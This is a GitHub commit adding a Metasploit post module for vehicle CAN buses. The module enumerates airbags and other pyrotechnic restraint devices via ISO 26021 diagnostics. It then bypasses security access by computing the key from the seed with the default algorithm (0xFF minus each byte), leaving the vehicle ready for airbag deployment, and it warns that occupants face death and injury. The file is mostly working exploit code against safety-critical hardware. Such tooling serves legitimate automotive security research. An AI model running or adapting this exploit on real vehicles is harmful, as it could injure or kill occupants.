Skip to content

Commit 048b39c

Browse files
committed
Initial commit of pdt module.
1 parent a293093 commit 048b39c

File tree

1 file changed

+294
-0
lines changed
  • modules/post/hardware/automotive

1 file changed

+294
-0
lines changed
Lines changed: 294 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,294 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'msf/core/post/hardware/automotive/uds'
9+
10+
class MetasploitModule < Msf::Post
11+
12+
include Msf::Post::Hardware::Automotive::UDS
13+
include Msf::Post::Hardware::Automotive::DTC
14+
15+
def initialize(info={})
16+
super( update_info( info,
17+
'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags)',
18+
'Description' => %q{ Post Module to query how many Pyrotechnit Devices (PDTs) are available
19+
in the vehicle. It will then attempt to validate the security access
20+
token using the default simplified algorithm.. On success the vehicle
21+
will be prepped to deploy the airbags via the service routine. (ISO26021) },
22+
'License' => MSF_LICENSE,
23+
'Author' => ['Johannes Braun', 'Juergen Duerrwang'],
24+
'Platform' => ['hardware'],
25+
'SessionTypes' => ['hwbridge']
26+
))
27+
register_options([
28+
OptInt.new('SRCID', [true, "Module ID to query", 0x7f1]),
29+
OptInt.new('DSTID', [false, "Expected reponse ID, defaults to SRCID + 8", 0x7f9]),
30+
OptInt.new('PADDING', [false, "Padd the packet with extra bytes to always be 8 bytes long", 0x00]),
31+
OptString.new('CANBUS', [false, "CAN Bus to perform scan on, defaults to connected bus", nil])
32+
], self.class)
33+
end
34+
35+
LOOP_TABLE = {
36+
0x00 => 'ISOSAEReserved',
37+
0x01 => 'airbag driver side frontal 1st stage',
38+
0x02 => 'airbag left side frontal 1st stage',
39+
0x03 => 'airbag right side frontal 1st stage',
40+
0x04 => 'airbag driver side frontal 2nd stage',
41+
0x05 => 'airbag left side frontal 2nd stage',
42+
0x06 => 'airbag right side frontal 2nd stage',
43+
0x07 => 'airbag driver side frontal 3rd stage',
44+
0x08 => 'airbag left side frontal 3rd stage',
45+
0x09 => 'airbag right side frontal 3rd stage',
46+
0x0A => 'airbag passenger side frontal 1st stage',
47+
0x0B => 'airbag passenger side frontal 2nd stage',
48+
0x0C => 'airbag passenger side frontal 3rd stage',
49+
0x0D => 'airbag left side frontal 3rd stage',
50+
0x0E => 'airbag right side frontal 3rd stage',
51+
0x0F => 'airbag passenger frontal 1st stage - center',
52+
0x10 => 'airbag passenger frontal 2nd stage - center',
53+
0x11 => 'airbag passenger frontal 3rd stage - center',
54+
0x12 => '1st pretensioner driver side',
55+
0x13 => '1st pretensioner left side',
56+
0x14 => '1st pretensioner right side',
57+
0x15 => '2nd pretensioner driver side',
58+
0x16 => '2nd pretensioner left side',
59+
0x17 => '2nd pretensioner right side',
60+
0x18 => '1st pretensioner passenger side',
61+
0x19 => '2nd pretensioner passenger side',
62+
0x1A => '1st pretensioner passenger - center',
63+
0x1B => '2nd pretensioner passenger - center',
64+
0x1C => '1st pretensioner (2nd row) left',
65+
0x1D => '2nd pretensioner (2nd row) left',
66+
0x1E => '1st pretensioner (2nd row) right',
67+
0x1F => '2nd pretensioner (2nd row) right',
68+
0x20 => '1st pretensioner (2nd row) center',
69+
0x21 => '2nd pretensioner (2nd row) center',
70+
0x22 => '1st pretensioner (3rd row) left',
71+
0x23 => '2nd pretensioner (3rd row) left',
72+
0x24 => '1st pretensioner (3rd row) right',
73+
0x25 => '2nd pretensioner (3rd row) right',
74+
0x26 => '1st pretensioner (3rd row) center',
75+
0x27 => '2nd pretensioner (3rd row) center',
76+
0x28 => 'belt force limiter driver side',
77+
0x29 => 'belt force limiter left side',
78+
0x2A => 'belt force limiter right side',
79+
0x2B => 'belt force limiter passenger side',
80+
0x2C => 'belt force limiter passenger side - center',
81+
0x2D => 'belt force limiter 2nd row - left',
82+
0x2E => 'belt force limiter 2nd row - right',
83+
0x2F => 'belt force limiter 2nd row - center',
84+
0x30 => 'belt force limiter 3rd row - left',
85+
0x31 => 'belt force limiter 3rd row - right',
86+
0x32 => 'belt force limiter 3rd row - center',
87+
0x33 => 'headbag - driver side (roof mounted)',
88+
0x34 => 'headbag - passenger side (roof mounted)',
89+
0x35 => 'headbag - right side (roof mounted)',
90+
0x36 => 'headbag - left side (roof mounted)',
91+
0x37 => 'headbag - 2nd row - left (roof mounted)',
92+
0x38 => 'headbag - 2nd row - right (roof mounted)',
93+
0x39 => 'headbag - 3rd row - left (roof mounted)',
94+
0x3A => 'headbag - 3rd row - right (roof mounted)',
95+
0x3B => 'sidebag (curtain) - driver side',
96+
0x3C => 'sidebag (curtain) - passenger side',
97+
0x3D => 'sidebag (curtain) - left side',
98+
0x3E => 'sidebag (curtain) - right side',
99+
0x3F => 'sidebag (curtain) - 2nd row - left',
100+
0x40 => 'sidebag (curtain) - 2nd row - right',
101+
0x41 => 'sidebag (curtain) - 3rd row - left',
102+
0x42 => 'sidebag (curtain) - 3rd row - right',
103+
0x43 => 'sidebag - driver side (door mounted)',
104+
0x44 => 'sidebag - passenger side (door mounted)',
105+
0x45 => 'sidebag - left side (door mounted)',
106+
0x46 => 'sidebag - right side (door mounted)',
107+
0x47 => 'sidebag - 2nd row - left (door mounted)',
108+
0x48 => 'sidebag - 2nd row - right (door mounted)',
109+
0x49 => 'sidebag - 3rd row - left (door mounted)',
110+
0x4A => 'sidebag - 3rd row - right (door mounted)',
111+
0x4B => 'seatbag (cushion) - driver side (seat mounted)',
112+
0x4C => 'seatbag (cushion) - passenger side (seat mounted)',
113+
0x4D => 'seatbag (cushion) - left side (seat mounted)',
114+
0x4E => 'seatbag (cushion) - right side (seat mounted)',
115+
0x4F => 'seatbag (cushion) - 2nd row - left (seat mounted)',
116+
0x50 => 'seatbag (cushion) - 2nd row - right (seat mounted)',
117+
0x51 => 'seatbag (cushion) - 3rd row - left (seat mounted)',
118+
0x52 => 'seatbag (cushion) - 3rd row - right (seat mounted)',
119+
0x53 => 'kneebag - driver side',
120+
0x54 => 'kneebag - passenger side',
121+
0x55 => 'kneebag - left side',
122+
0x56 => 'kneebag - right side',
123+
0x57 => 'kneebag - passenger side - center',
124+
0x58 => 'footbag - driver side',
125+
0x59 => 'footbag - passenger side',
126+
0x5A => 'footbag - left side',
127+
0x5B => 'footbag - right side',
128+
0x5C => 'footbag - passenger side - center',
129+
0x5E => 'active headrest - driver side',
130+
0x5F => 'active headrest - passenger side',
131+
0x60 => 'active headrest - left side',
132+
0x61 => 'active headrest - right side',
133+
0x62 => 'active headrest - passenger side - center',
134+
0x63 => 'active headrest - 2nd row - left',
135+
0x64 => 'active headrest - 2nd row - right',
136+
0x65 => 'active headrest - 2nd row - center',
137+
0x66 => 'active headrest - 3rd row - left',
138+
0x67 => 'active headrest - 3rd row - right',
139+
0x68 => 'active headrest - 3rd row - center',
140+
0x69 => 'battery clamp main battery',
141+
0x6A => 'battery clamp 2nd battery',
142+
0x6B => 'battery clamp 3rd battery',
143+
0x6C => 'battery clamp 4th battery',
144+
0x6D => 'roof-airbag front',
145+
0x6E => 'roof-airbag front',
146+
0x6F => 'bag in belt driver side',
147+
0x70 => 'bag in belt passenger side',
148+
0x71 => 'bag in belt left side',
149+
0x72 => 'bag in belt right side',
150+
0x73 => 'bag in belt passenger side - center',
151+
0x74 => 'bag in belt 2nd row - left',
152+
0x75 => 'bag in belt 2nd row - right',
153+
0x76 => 'bag in belt 2nd row - center',
154+
0x77 => 'bag in belt 3rd row - left',
155+
0x78 => 'bag in belt 3rd row - right',
156+
0x79 => 'bag in belt 3rd row - center',
157+
0x7A => 'rollover bar #1',
158+
0x7B => 'rollover bar #2',
159+
0x7C => 'rollover bar #3',
160+
0x7D => 'rollover bar #4',
161+
0x7E => 'active anti-submarining driver seat',
162+
0x7F => 'active anti-submarining passenger seat',
163+
0x80 => 'active anti-submarining left seat',
164+
0x81 => 'active anti-submarining right seat',
165+
0x82 => 'active anti-submarining passenger seat - center',
166+
0x83 => 'active anti-submarining seat 2nd row - left',
167+
0x84 => 'active anti-submarining seat 2nd row - right',
168+
0x85 => 'active anti-submarining seat 2nd row - center',
169+
0x86 => 'active anti-submarining seat 3rd row - left',
170+
0x87 => 'active anti-submarining seat 3rd row - right',
171+
0x88 => 'active anti-submarining seat 3rd row - center',
172+
0x89 => 'pedestrian protection front left hood lifter',
173+
0x8A => 'pedestrian protection front right hood lifter',
174+
0x8B => 'pedestrian protection rear left hood lifter',
175+
0x8C => 'pedestrian protection rear right hood lifter',
176+
0x8D => 'pedestrian protection a-pillar left',
177+
0x8E => 'pedestrian protection a-pillar right',
178+
0x8F => 'pedestrian protection wind screen',
179+
0x90 => 'pedestrian protection bumper left',
180+
0x91 => 'pedestrian protection bumper center',
181+
0x92 => 'pedestrian protection bumper right',
182+
0x93 => 'active steering column',
183+
0x94 => 'front screen - emergency release',
184+
0x95 => 'read window - emergency release'
185+
}
186+
187+
ACL_TYPES = {
188+
0x01 => 'CAN only',
189+
0x02 => 'ACL Comm Mode 12V',
190+
0x03 => 'ACL PWM FixedLevel 8V',
191+
0x04 => 'ACL Comm Mode 24V',
192+
0x05 => 'ACL PWM UbattLevel 12V',
193+
0x06 => 'ACL PWM UbattLevel 24V'
194+
}
195+
196+
PCU_ADDRESS_FORMAT = {
197+
0x01 => '11 bit normal addressing',
198+
0x02 => '11 bit extended addressing',
199+
0x03 => '11 bit mixed addressing',
200+
0x04 => '29 bit normal fixed addressing',
201+
0x05 => '29 bit mixed addressing',
202+
0x06 => '29 bit unique addressing'
203+
}
204+
205+
def print_vin(vin)
206+
return "" if vin.nil?
207+
vin.map! { |d| d.hex.chr }
208+
print_status(" VIN: #{vin.join}")
209+
end
210+
211+
def print_loop_table(loopid)
212+
print_status("Loop info (#{loopid[2].hex} pyrotechnic devices):")
213+
(3..loopid.size).each do |i|
214+
if i % 2 == 1
215+
if loopid[i] && (LOOP_TABLE.key? loopid[i].hex)
216+
print_status(" #{loopid[i]} | #{LOOP_TABLE[loopid[i].hex]}")
217+
else
218+
print_status(" #{loopid[i]} | <<UNKNOWN>>")
219+
end
220+
else
221+
if loopid[i] && loopid[i].hex == 0
222+
print_status(" | Deployment Status: Good")
223+
else
224+
print_status(" | Deployment Status: Fail (#{loopid[i]})")
225+
end
226+
end
227+
end
228+
end
229+
230+
def run
231+
opt = {}
232+
opt['PADDING'] = datastore['PADDING'] unless datastore['PADDING'].nil?
233+
print_status("Gathering Data...")
234+
vin = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xF1, 0x90], opt)
235+
no_of_pcus = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x00], opt)
236+
no_of_iso_version = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x01], opt)
237+
address_format = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x02], opt)
238+
loopid = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x06], opt)
239+
acl_type_definition = loopid[0]
240+
acl_type_version = loopid[1]
241+
no_of_charges = loopid[2]
242+
243+
print_vin(vin)
244+
print_loop_table(loopid)
245+
print_status(" Number of PCUs in vehicle | #{no_of_pcus[0].hex}")
246+
print_status(" Info About First PCU")
247+
print_status(" Address format this PCU(s) | #{PCU_ADDRESS_FORMAT[address_format[0].hex]}")
248+
print_status(" Number of pyrotechnic charges | #{no_of_charges.hex}")
249+
print_status(" Version of ISO26021 standard | #{no_of_iso_version[0].hex}")
250+
print_status(" ACL type | #{ACL_TYPES[acl_type_definition.hex]}")
251+
print_status(" ACL Type version | #{acl_type_version.hex}")
252+
print_status
253+
print_status("Switching to Diagnostic Session 0x04...")
254+
resp = set_dsc(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x04, opt)
255+
if resp.key? 'error'
256+
print_error("Could not switch to DSC 0x04: #{resp['error']}")
257+
return
258+
end
259+
# We may not need tester present at all because we will perform the action quickly
260+
send_tester_present(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
261+
print_status("Getting Security Access Seed...")
262+
seed = get_security_token(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x5F, opt)
263+
if seed.key? 'error'
264+
print_error("Couldn't get seed: #{seed['error']}")
265+
return
266+
end
267+
print_status("Success. Seed: #{seed['SEED']}")
268+
print_status("Attempting to unlock device...")
269+
if seed['SEED'][0].hex == 0 && seed['SEED'][1].hex == 0
270+
print_status("Security Access Already Unlocked!!")
271+
else
272+
key = [0xFF - seed['SEED'][0].hex, 0xFF - seed['SEED'][1].hex]
273+
resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt)
274+
if resp.key? 'error' and not resp['error'].key? 'RCRRP'
275+
print_error("Invalid SA Response. System not vulnerable. Error: #{resp['error']}")
276+
return
277+
end
278+
found_valid = false
279+
if resp.key? 'Packets' and resp['Packets'].size > 0
280+
resp['Packets'].each do |i|
281+
found_valid = true if i.key? 'DATA' and i['DATA'].size > 1 and i['DATA'][1] == "67"
282+
end
283+
end
284+
if found_valid
285+
print_status("Success!")
286+
else
287+
print_error("Unknown response: #{resp.inspect}")
288+
end
289+
end
290+
print_warning("Warning! You're now able to start the deployment of airbags in this vehicle")
291+
print_warning("Occupants of the vehicle face potential death and injury")
292+
end
293+
294+
end

0 commit comments

Comments
 (0)